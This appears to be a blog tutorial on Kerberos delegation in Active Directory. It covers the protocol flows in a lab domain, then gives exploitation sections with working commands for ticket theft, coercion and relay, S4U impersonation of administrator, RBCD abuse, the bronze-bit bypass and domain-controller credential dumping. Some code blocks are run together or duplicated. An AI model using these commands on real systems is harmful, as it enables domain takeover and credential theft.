Overview

Kerberos delegation is a feature in the Kerberos authentication protocol that allows services to act on behalf of users. For example, a web server might use Kerberos delegation to authenticate a user and then use that authentication ticket to access a back-end database on behalf of the user.

A simple example:

Untitled

Instead of granting direct database access to the service account used by the web server, you can enable delegation of that service account to the SQL server service. This enables users to access the specific content in the database they have been authorized for, without needing to grant any access to the web server’s service account.

Kerberos delegation have evolved over the years:

Unconstrained Delegation (Windows Server 2000)
Constrained Delegation (Windows Server 2008)
Resource-Based Constrained Delegation (Windows Server 2012)

Testing Environment

Just in case you want not just to read the theory, but also play with it :)

ASP.NET Application

Here is part of a simple ASP.NET (classic .net framework) application just to have a real example and be able to check the communication flow. It loads data from the MSSQL Server on behalf of the authenticated user :

  
protected void Page_Load(object sender, EventArgs e)
        {
            Response.Write("During impersonation: " + WindowsIdentity.GetCurrent().Name);

            string connectionString = "Server=MSSQL01.hpbank.local;Initial Catalog=testdb;Integrated Security=SSPI";

            SqlConnection connection = new SqlConnection(connectionString);
            connection.Open();
            string query = "SELECT * FROM test_table";
            SqlCommand command = new SqlCommand(query, connection);
            SqlDataReader reader = command.ExecuteReader();

            while (reader.Read())
            {
                string myString = reader.GetString(0);
                Response.Write("<br>" + myString);
            }

            connection.Close();
        }

The parameter “Integrated Security=SSPI” means that Integrated Windows Authentication will be used.

I spent hours trying to make it work in ASP.NET Core. It turns out that classic ASP.NET and ASP.NET Core work in a bit different way:

ASP.NET Core doesn’t implement impersonation. Apps run with the app’s identity for all requests, using app pool or process identity. If the app should perform an action on behalf of a user, use WindowsIdentity.RunImpersonated or RunImpersonatedAsync in a terminal inline middleware in Startup.Configure.

The MSSQL server database was configured in a way that allows only domain users to access it. If any user tries to access the application on the web server without enabled delegation, it fails since the application attempts to use its own service credentials.

Untitled

SPN

SPN records for the services were configured:

Setspn -S MSSQLSvc/MSSQL01.hpbank.local:1433 hpbank.local\MSSQL01
Setspn -S MSSQLSvc/MSSQL01:1433 hpbank.local\MSSQL01
Setspn -S HTTP/WEB.hpbank.local hpbank.local\WEB

IIS Configuration Settings

Application Pools

Untitled

Authentication

In order to use Windows Authentication an additional role service should be installed on the server:

Untitled

Depends on the delegation type different Providers were used:

Kerberos for Unconstrained delegation and Constrained Delegation (kerberos only option)
NTLM for Constrained Delegation (any protocol) or Resource Based Constrained Delegation

Untitled

Unconstrained delegation

Unconstrained delegation is considered the most dangerous because it allows an attacker who has gained control of a domain account with delegated permissions to impersonate any user or service within the domain. Basically, the service can ask TGT tickets for any users.

Unconstrained delegation can be easily configured using the AD Users and Computers snap-in by modifying a computer accounts settings:

Untitled

It changes the userAccountControl attribute of the object and set the “TRUSTED_FOR_DELEGATION” flag (requires SeEnableDelegation privilege - Domain or Enterprise Admin by default).

Untitled

Active-Directory Powershell module can be used to find computers with enabled “TrustedForDelegation” flag:

  
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation,TrustedToAuthForDelegation , ServicePrincipalName, Description

Untitled

The authentication settings were changed to use kerberos only.

Simple commands to check if everything works:

  
klist purge
Invoke-WebRequest -UseBasicParsing "http://web.hpbank.local" -UseDefaultCredentials -Method GET

Untitled

Network Communication Flow

If a user tries to get access to a service with the “TRUSTED_FOR_DELEGATION” flag enabled, Kerberos communication flow is bit different than usual:

Untitled

The Client asks for a normal TGT (AS-REQ)
The KDC server provides a TGT (AS-REP)
The Client asks for a normal Service Ticket for the HTTP service (TGS-REQ)
The KDC server provides a normal Service Ticket and an encrypted client`s part. The main difference is that ok-as-delegate flag is set to TRUE, which informs the client that the requested service is authorized for delegation.
The client sends a TGS-REQ asking for an additional Service Ticket (user`s TGT) with “forwardable“ and “forwarded“ flags.
The KDC provides a such Service Ticket (user`s TGT).
The Client provides the ST and forwarded TGT tickets in the AP-REQ message inside the HTTP request. ![Untitled](2%20Delegation%2078873bc129cf43e3a7ea647214029f7e/Untitled%2013.png The client`s TGT ticket is a part of the cksum authenticator field:
The WEB server puts the user`s TGT into the memory and can use it to impersonate the user without any limitations.
The WEB server asks for a Service Ticket for the MSSQL service on behalf of the user:
The KDC provides a valid Service Ticket
The WEB server uses the ST in the SQL connection, fetches data from the MSSQL server and provide an HTTP response.

Exploitation

Attack requirements

Control over an account with unconstrained delegation privileges
Permissions to modify the servicePrincipalName attribute of that account (optional)
Permissions to add/modify DNS records (optional, true by default)
A way to force the users/computers to connect to us (NTLM coercion attacks, social engineering)

Enumeration

ActiveDirectory Powershell module:

  
Get-ADObject -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Powerview:

  
#For hosts:
Get-DomainComputer -Unconstrained

#For accounts:
Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Linux:

  
impacket-findDelegation hpbank.local/user
#OR
ldapsearch -LLL -x -H ldap://dc01.hpbank.local -D "da@hpbank.local" -w 'P@ssw0rd' -b dc=hpbank,dc=local "(&(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep sAMAccountName
#OR
windapsearch -d hpbank.local -u da@hpbank.local -p 'P@ssw0rd' -m unconstrained
#OR
bloodhound
#OR
ldapdomaindump -u hpbank\\da -p 'P@ssw0rd' -n 192.168.0.122 -r 192.168.0.122
grep TRUSTED_FOR_DELEGATION domain_computers.grep
grep TRUSTED_FOR_DELEGATION domain_users.grep

Exploitation

Windows way:

  
#mimikatz
privilege::debug
sekurlsa::tickets
sekurlsa::tickets /export
kerberos::ptt ticketname.kirbi

#rubeus
   /filteruser:DC01$
Rubeus.exe ptt /ticket:doIFIjCCBR6gAwIBBaEDAgEWo...

#import a ticket using linux
sudo ntpdate dc01.hpbank.local
impacket-ticketConverter admin.kirbi admin.ccache
export KRB5CCNAME=/home/kali/admin.ccache
impacket-wmiexec -k -no-pass hpbank.local/admin@dc01.hpbank.local

If you don’t have access to the server running the compromised service account or don’t want to execute any code on that server, it is possible to use your own Linux box within the network, but it will require more effort.

Pure Linux Way [https://github.com/dirkjanm/krbrelayx]:

  
#get a hash/kerberos key
#it's also possible to calculate the key manually
impacket-secretsdump administrator@web.hpbank.local

#add a new spn
python3 addspn.py -u hpbank.local\\web\$ -p LMHASH:NTHASH -s HOST/attacker.hpbank.local --additional dc01.hpbank.local

#check if it was added
python3 addspn.py -u hpbank.local\\web\$ -p LMHASH:NTHASH -s HOST/attacker.hpbank.local -q dc01.hpbank.local

#add dns record (don't forget to use client's dns server)
python3 dnstool.py -u hpbank.local\\web\$ -p LMHASH:NTHASH -r attacker.hpbank.local -d 192.168.0.200 --action add dc01.hpbank.local

#run a listener
python3 krbrelayx.py -aesKey b997bd8d6d93ffe89b4528846b2a4ca38dceb7d7e0005b090ecd94a7852a013a

#printerbug
python3 printerbug.py -hashes LMHASH:NTHASH hpbank.local/web\$@dc01.hpbank.local attacker.hpbank.local
#OR
python3 Coercer.py -u WEB\$ -d hpbank.local --hashes LMHASH:NTHASH -t dc01.hpbank.local -l attacker.hpbank.local

#export key
export KRB5CCNAME=DC01\$@hpbank.local_krbtgt@hpbank.local.ccache

#dump
secretsdump.py -k dc01.hpbank.local -just-dc

Constrained Delegation

In contrast, in constrained delegation, it’s not necessary to have a user`s TGT inside the TGS request. The service itself can request TGS tickets for other services on behalf of a user if it has a proof that it got a request from the user . So, the server can ask for a Service Ticket using a previously received Service Ticket as a proof.

The [MS-SFU] extension allows KDC to issue a new TGS to the service using a valid TGS. It supports two subprotocols:

The Kerberos constrained delegation extension, S4U2Proxy
- Provides a service that obtains a service ticket to another service on behalf of a user. The server should already have a Service Ticket from the user as proof.
The Kerberos protocol transition extension, S4U2Self
- Allows a service to obtain a service ticket to itself on behalf of a user. Basically, it allows generate proofs. Requires TrustedToAuthForDelegation flag enabled for the service account. Otherwise the resulted ticket from the TGS won’t be “forwardable”.

Constrained delegation can be configured the same way as unconstrained using the AD Users and Computers snap-in by modifying a computer accounts settings (SeEnableDelegation privilege is required):

Untitled

Two ways for configuring this delegation:

Kerberos only: the service can delegate when the client authenticates using Kerberos (uses S4U2Proxy extension).
- Sets the “msDS-AllowedToDelegateTo” property.
Any authentication protocol: the service can delegate regardless of how the client authenticates (uses S4U2Self and S4U2Proxy extensions)
- Sets the “msDS-AllowedToDelegateTo” property.
- Also changes the TrustedToAuthForDelegation flag to True.

Network Communication Flow

Kerberos only

Using this option the server receives a Service Ticket (proof) from the user in the HTTP request. So, only the S4U2Proxy extension is in use.

Untitled

The first part of the kerberos communication is the same as usual:

The Client asks for a normal TGT (AS-REQ)
The KDC server provides a TGT (AS-REP)
The Client asks for a TGS (TGS-REQ)
The KDC server provides a TGS (TGS-REP)
The Client sends the AP-REQ to the server and provides the TGS inside the request. From this point the service is able to ask for an additional Service Tickets using S4U2Proxy request. The server appends the initial TGS ticket provided by the user to the additional-tickets field of the req-body structure.
The KDC generated a such Service Ticket and provides it to the WEB server:
The WEB server uses the TGS in the SQL connection, fetches data from the MSSQL server and provide an HTTP response.

Any authentication protocol (protocol transition)

Note:To test this option the providers for Windows authentications were chaged to “NTLM“ only.

Untitled

The most interesting parts are S4U2Self and S4U2Proxy requests.

To get a service ticket for the MSSQL (using the S4U2Proxy request) the WEB server have to provide a proof - a TGS ticket from the user. Since there is no Service Ticket was provided from the user (NTLM authentication was used) the server should ask for it using the S4U2Self extension:

Untitled

The KDC provides a Service Ticket:

Untitled

The next step is asking for a service ticket using the S4U2Proxy extension:

Untitled

The KDC generated a TGS for the MSSQL service and provides it to the WEB server:

Untitled

The WEB server uses the TGS in the SQL connection, fetches data from the MSSQL server and provide an HTTP response:

Untitled

Exploitation

Attack requirements

Control over an account with constrained delegation privileges:

With enabled option “Use any authentication protocol”
OR having control over another account with privileges to change the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on it - by default a new computer account can be added by any domain user.

Enumeration

Windows

  
#Powerview:
Get-DomainUser -TrustedToAuth
Get-NetComputer -TrustedToAuth

Linux

impacket-findDelegation hpbank.local/user

Use any authentication protocol (protocol transition)

Exploitation is pretty forward: you need to ask for a TGS ticket using the S4U2self extenssion and then using the ticket ask for a final TGS using the S4U2Proxy.

  
#Linux
impacket-getST -spn "mssqlsvc/MSSQL01.hpbank.local:1433" -impersonate "administrator" -hashes lm:nt  hpbank.local/WEB\$#Windows#rc4 is nt hashRubeus.exe s4u /user:web$ /rc4:db85b10012a427af61fde88fa6d56898 /impersonateuser:administrator /msdsspn:mssqlsvc/mssql01.hpbank.local:1433 /altservice:host /ptt

Kerberos Only

In order to use S4U2Proxy extension and ask for an ST for the MSSQL service it’s nesessary to have a proof (an ST for the WEB service itself from the target account - administrator).

The main approach would be to use S4U2Self, but it’s required TRUSTED_TO_AUTH_FOR_DELEGATION flag set to the service account which is not True since “Kerberos only“ option was used. Actually, you can ask for it, but the resulted ticket will be non-forwardable and it’s it’s not possible to use it as a proof.

So, there are two known ways attackers can use to bypass this or receive a “proof ticket”:

Force the user to authenticate to the service and use the provided ST for S4U2Proxy request.
Use Resource Based Constrained Delegation (RBCD) attack to get a ST for the WEB service using another account.
Use “bronze bit” (CVE-2020-17049) to bypass the check at all

RBCD approach

Add a new computer account

  
#Linux
impacket-addcomputer -computer-name 'EVILHOST$' -dc-ip 192.168.0.122 -hashes nt:lm hpbank.local/web\$

#Windows
#The Powermad module (PowerShell) can be used to create a domain computer account.
$password = ConvertTo-SecureString 'SomePassword' -AsPlainText -Force
New-MachineAccount -MachineAccount 'PENTEST01' -Password $($password) -Verbose
#to disable
Disable-MachineAccount -MachineAccount 'PENTEST01' -Verbose

#An alternative is to use FuzzSecurity's StandIn (C#, .NET assembly) project
# Create the account
StandIn.exe --computer 'PENTEST01' --make

# Disable the account
StandIn.exe --computer 'PENTEST01' --disable

# Delete the account (requires elevated rights)
StandIn.exe --computer 'PENTEST01' --delete

Set msDS-AllowedToActOnBehalfOfOtherIdentity attributre of the new created account to allow delegation from Web$.

Note: Any user with write permissions over a machine account (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) can set the msDS-AllowedToActOnBehalfOfOtherIdentity.

  
#Linux
impacket-rbcd -delegate-from EVILHOST\$ -delegate-to WEB\$ -action write -dc-ip 192.168.0.122 -hashes nt:lm hpbank.local/web\$

#Windows
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'controlledaccountwithSPN'

#PowerSploit's PowerView module is an alternative that can be used to edit the attribute
# Obtain the SID of the controlled account with SPN (e.g. Computer account)
$ComputerSid = Get-DomainComputer "controlledaccountwithSPN" -Properties objectsid | Select -Expand objectsid
# Build a generic ACE with the attacker-added computer SID as the pricipal, and get the binary bytes for the new DACL/ACE

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account
Get-DomainComputer "target$" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#FuzzSecurity's StandIn project is another alternative in C# (.NET assembly) to edit the attribute
# Obtain the SID of the controlled account with SPN (e.g. Computer account)
StandIn.exe --object samaccountname=controlledaccountwithSPNName

# Add the object to the msDS-AllowedToActOnBehalfOfOtherIdentity of the targeted computer
StandIn.exe --computer "target" --sid "controlledaccountwithSPN's SID"

Ask for a ST for a WEB service using S4U2Self+S4U2Proxy from the EVILHOST account(standard RBCD attack)

  
#Linux
impacket-getST -spn "cifs/web.hpbank.local" -impersonate "administrator" "hpbank.local/EVILHOST:EgraBi5EcdV5G9a35IPrsJxPMUEBujo5"

#Windows
Rubeus.exe s4u /nowrap /msdsspn:"cifs/target" /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"

Ask for a final ST using S4U2Proxy

  
#Linux
impacket-getST -spn "mssqlsvc/MSSQL01.hpbank.local:1433" -impersonate "administrator" -additional-ticket "administrator.ccache" -hashes lm:nt  hpbank.local/WEB\$

#From Windows machines, Rubeus (C#) can be used to obtain a Service Ticket through an S4U2proxy request, 
#supplying as "additional ticket" the Service Ticket obtained before.
Rubeus.exe s4u /nowrap /msdsspn:"cifs/target" /impersonateuser:"administrator" /tgs:"base64 | file.kirbi" /domain:"domain" /user:"user" /password:"password"

Change the SPN if nesessary

  
# SPN in the ticket is not protected and accessible in clear text
# it' possible to change the service manually using https://raw.githubusercontent.com/fortra/impacket/a67c44cb8216daac48088e5b94d378418ab75533/examples/tgssub.py 
python3 tgssub.py -in administrator.ccache -out administrator2.ccache -altservice host/mssql01.hpbank.local

Profit

  
# impacket tools change SPN in automated way
KRB5CCNAME=administrator.ccache impacket-wmiexec -k -no-pass hpbank.local/administrator@MSSQL01.hpbank.local

Resource-Based Constrained Delegation

Resource-based constrained delegation is a feature that was first introduced in Windows Server 2012. It works across trusts and has a different configuration method than traditional constrained delegation. With resource-based constrained delegation, the resource that hosts the service specifies which objects can delegate to it, instead of specifying which object can delegate to which service. This gives the resource owner more control over who can access it.

Resource-based constrained delegation is configured by populating the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target resource with the SID of the object that is allowed to delegate to it. To configure resource-based constrained delegation, you need to use PowerShell; there is no GUI component within Active Directory Users and Computers and the Attribute Editor page does not allow for manual modification of this attribute.

  
#To set attribute:
Set-ADComputer -Identity MSSQL01$ -PrincipalsAllowedToDelegateToAccount WEB$ -Verbose

#To get
$comp = Get-ADComputer -Identity MSSQL01$ -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
$comp.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access

Network Communication Flow

Everything is pretty the same as for Constrained Delegation.

Exploitation

Attack requirements

Control over an account with delegation privileges or with privileges to change the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Any user with write permissions over a machine account (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) can change it.

Enumerate

  
#Powerview
Get-DomainUser -allowdelegation -admincount

#Impacket
impacket-findDelegation hpbank.local/user

#bloodhound

Check for Machine Account Quota

  
#ActiveDirectory module:
Get-ADObject -Identity "DC=hpbank,DC=local" -Properties * | select ms-ds-machineAccountQuota

#PowerView
Get-DomainObject -Identity "DC=hpbank,DC=local" | select ms-ds-machineAccountQuota

#Ldap
windapsearch --dc 192.168.0.122 -d hpbank.local -u user -p 'P@ssw0rd' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=hpbank,DC=local))' --attrs ms-ds-machineAccountQuota

#crackmapexec
#crackmapexec ldap 192.168.0.122 -u user -p 'P@ssw0rd' -M MAQ

Create a Computer account

  
#ActiveDirectory module:
Get-ADObject -Identity "DC=hpbank,DC=local" -Properties * | select ms-ds-machineAccountQuota

#PowerView
Get-DomainObject -Identity "DC=hpbank,DC=local" | select ms-ds-machineAccountQuota

#Ldap
windapsearch --dc 192.168.0.122 -d hpbank.local -u user -p 'P@ssw0rd' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=hpbank,DC=local))' --attrs ms-ds-machineAccountQuota

#crackmapexec
#crackmapexec ldap 192.168.0.122 -u user -p 'P@ssw0rd' -M MAQ

Edit the target’s “rbcd” attribute if necessary (if there is no delegation configured, but you have write privileges)

  
#Linux
impacket-addcomputer -dc-ip 192.168.0.122 -computer-name PENTEST01 -computer-pass 'SomePassword123' 'hpbank.local/user:P@ssw0rd'

#Windows
#The Powermad module (PowerShell) can be used to create a domain computer account.
import-module powermad
$password = ConvertTo-SecureString 'SomePassword123' -AsPlainText -Force
New-MachineAccount -MachineAccount 'PENTEST01' -Password $($password) -Verbose
#to disable
Disable-MachineAccount -MachineAccount 'PENTEST01' -Verbose

#An alternative is to use FuzzSecurity's StandIn (C#, .NET assembly) project
# Create the account
StandIn.exe --computer 'PENTEST01' --make

Ask for a TGS

  
#Linux
# Read the attribute
rbcd.py -delegate-to 'target$' -dc-ip 'DomainController' -action 'read' 'domain'/'PowerfulUser':'Password'

# Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py -delegate-from 'controlledaccount' -delegate-to 'target$' -dc-ip 'DomainController' -action 'write' 'domain'/'PowerfulUser':'Password'

#ntlmrelayx to set the delegation rights with the --delegate-access option 

#Windows
# Read the security descriptor
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount

# Populate the msDS-AllowedToActOnBehalfOfOtherIdentity
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'controlledaccountwithSPN'

Use the ticket

  
#Linux
KRB5CCNAME=administrator.ccache impacket-wmiexec -k -no-pass hpbank.local/administrator@MSSQL01.hpbank.local

#Windows
dir \\mssql01.hpbank.local\C$
psexec.exe

Bronze bit attack (CVE-2020-17049)

Allows to impersonate a protected user
Allows to bypass forwardable flag retriction for Constained Delegation in Kerberos Only mode

Exploitation:

  
#Linux
#Calculate the aes key if you have a password
#Despite the fact that Powermad’s function for adding fake accounts is called New-MachineAccount, it’s actually a service account and the Kerberos keys should be calculated as for a user (not machine account).
#Use getST with -force-forwardable flag
impacket-getST -spn "mssqlsvc/MSSQL01.hpbank.local:1433" -impersonate "administrator" -hashes :9e07929e7322c0336452aa51fa8725d9 -aesKey d2498bc9a574a6b6d9803f041ea3216d22efd38abd3a1af8705c4c128772e9af -force-forwardable hpbank.local/WEB\$

Links:

References

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

[https://attl4s.github.io/assets/pdf/You_do_(not)Understand_Kerberos_Delegation.pdf](https://attl4s.github.io/assets/pdf/You_do(not)_Understand_Kerberos_Delegation.pdf)

https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/kerberos/delegation-abuse

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation

Kerberos 102 - Delegation

Overview

Testing Environment

ASP.NET Application

SPN

IIS Configuration Settings

Application Pools

Authentication

Unconstrained delegation

Network Communication Flow

Exploitation

Constrained Delegation

Network Communication Flow

Kerberos only

Any authentication protocol (protocol transition)

Exploitation

Resource-Based Constrained Delegation

Network Communication Flow

Exploitation

Bronze bit attack (CVE-2020-17049)

References

Trending Tags

Kerberos 102 - Delegation

Overview

Testing Environment

ASP.NET Application

SPN

IIS Configuration Settings

Application Pools

Authentication

Unconstrained delegation

Network Communication Flow

Exploitation

Constrained Delegation

Network Communication Flow

Kerberos only

Any authentication protocol (protocol transition)

Exploitation

Resource-Based Constrained Delegation

Network Communication Flow

Exploitation

Bronze bit attack (CVE-2020-17049)

References

Further Reading

Kerberos 102 - Overview

Kerberos 102 - Cross-Realm Operations

HackTheBox - BroScience | Walkthrough

Trending Tags